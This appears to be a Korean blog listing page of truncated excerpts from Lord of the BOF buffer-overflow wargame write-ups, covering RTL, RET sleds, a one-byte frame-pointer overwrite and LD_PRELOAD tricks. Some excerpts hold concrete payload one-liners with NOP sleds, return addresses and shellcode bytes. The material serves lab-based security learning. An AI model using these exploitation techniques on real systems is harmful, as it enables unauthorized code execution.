목록overflow (18)
ii4gsp
#include #include #include #include int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); setreuid(geteuid(), geteuid()); system("/bi..
stack 영역을 사용할 수 없다. 라이브러리 영역도 사용할 수 없다. 또한 fgets()함수에서 arg로 입력을 받지않고 뜬금없이 stdin으로 입력을 받는다. stdin은 표준입력 파일 스트림이다. stdin은 입력 버퍼를 가지고 있다. 파일 복사 후 gdb로 파일을 열어주자 eax 레지스터에 0x8049a3c가 복사되고 push 된다. 0x8049a3c가 stdin의 주소이다. ret가 실행되기전 부분에 break point를 걸어주고 프로그램 실행 후 값을 넣어주자 stdin+4는 buffer의 end부분을 가리키고 stdin+12는 buffer의 start부분을 가리킨다. buffer의 start부분인 0x40015000을 payload에 사용하면된다. 페이로드는 NOP * 19 + shellc..
/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include #include #include // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("wel..
stack을 사용할 수 없고 RTL도 사용불가능이다. RET sled를 사용하여 문제를 풀어보자 gdb로 파일을 열고 ret부분에 break point를 걸고 RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자 RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자 buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드 [44byte] [4byte] [4byte] [100byte] [25byte] payload ./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2..
RTL (Return-To-Libc) Return To Library 줄여서 RTL 기법이라고 한다. 쉘 코드없이 쉘을 실행할 수 있다. 메모리에 미리 적재되어 있는 공유 라이브러리 함수의 주소 RET에 덮어씌어 현재 코드에 사용되지 않는 함수를 실행 시킬 수 있다. RTL기법을 사용하는 대표적인 이유는 NX bit 방어기법을 우회하기 위해 사용한다. NX bit NX bit는 공격자가 스택, 힙, 데이터 영역에서의 공격코드를 실행하지 못하게 한다. 예제 argv[1][47]가 "\xbf"이면 프로그램을 종료를 시킨다. ret 변조시 bf로 시작하지 않는 주소로 변조시킬 수가 없기때문에 스택으로 주소를 변조하는 것은 불가능하다. RET를 공유 라이브러리 주소로 변조시켜 함수 내부 RET를 쉘을 실행시키는..
RTL기법을 이용한 문제이다. system()함수의 주소와 "/bin/sh"의 주소를 구해주자. system()함수의 주소는 0x40058ae0이다. "bin/sh"의 주소도 구해주자. #include int main() { int system = 0x40058ae0; while(memcmp((void*)system, "/bin/sh", 8)) system++; printf("%x\n", system); return 0; } 위의 소스코드를 작성해주고 실행해주자. "bin/sh"의 주소는 0x400fbff9이다. 페이로드는 (buffer + sfp) + system()주소 + dummy + "/bin/sh"주소 [44byte] [4byte] [4byte] [4byte] payload ./bugbear $..
problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다. 1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다. 스택에서 SFP의 위 주소에는 RET가 존재한다. 즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다. gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자. A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자 0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다. nop [15byte] + shellcode[25byte] + \x..
buffer와 buffer+48에서 0xbfffffff까지 모두 0으로 초기화 시킨다. LD_PRELOAD 환경변수를 이용하여 문제를 풀어야한다. printf()함수를 호출하면 libc를 참조하는게 아니라 LD_PRELOAD에 정의되어있는 라이브러리 내의 함수를 먼저 참조한다. 그리고 해당 함수가 존재하면 호출한다. #include int main() { return 0; } 빈 파일을 하나 만들어주자 쉘 코드 이름으로 컴파일을 해주었다. 쉘 코드 이름으로 컴파일 하고, 환경변수 LD_PRELOAD에 파일을 등록해주었다. gdb로 파일을 열고 main()함수가 끝나기전 부분에 break point를 걸어주었다. \xbf 조건을 맞춰주고 공유 라이브러리 영역은 스택 영역보다 낮은 주소에 위치하기 때문에 e..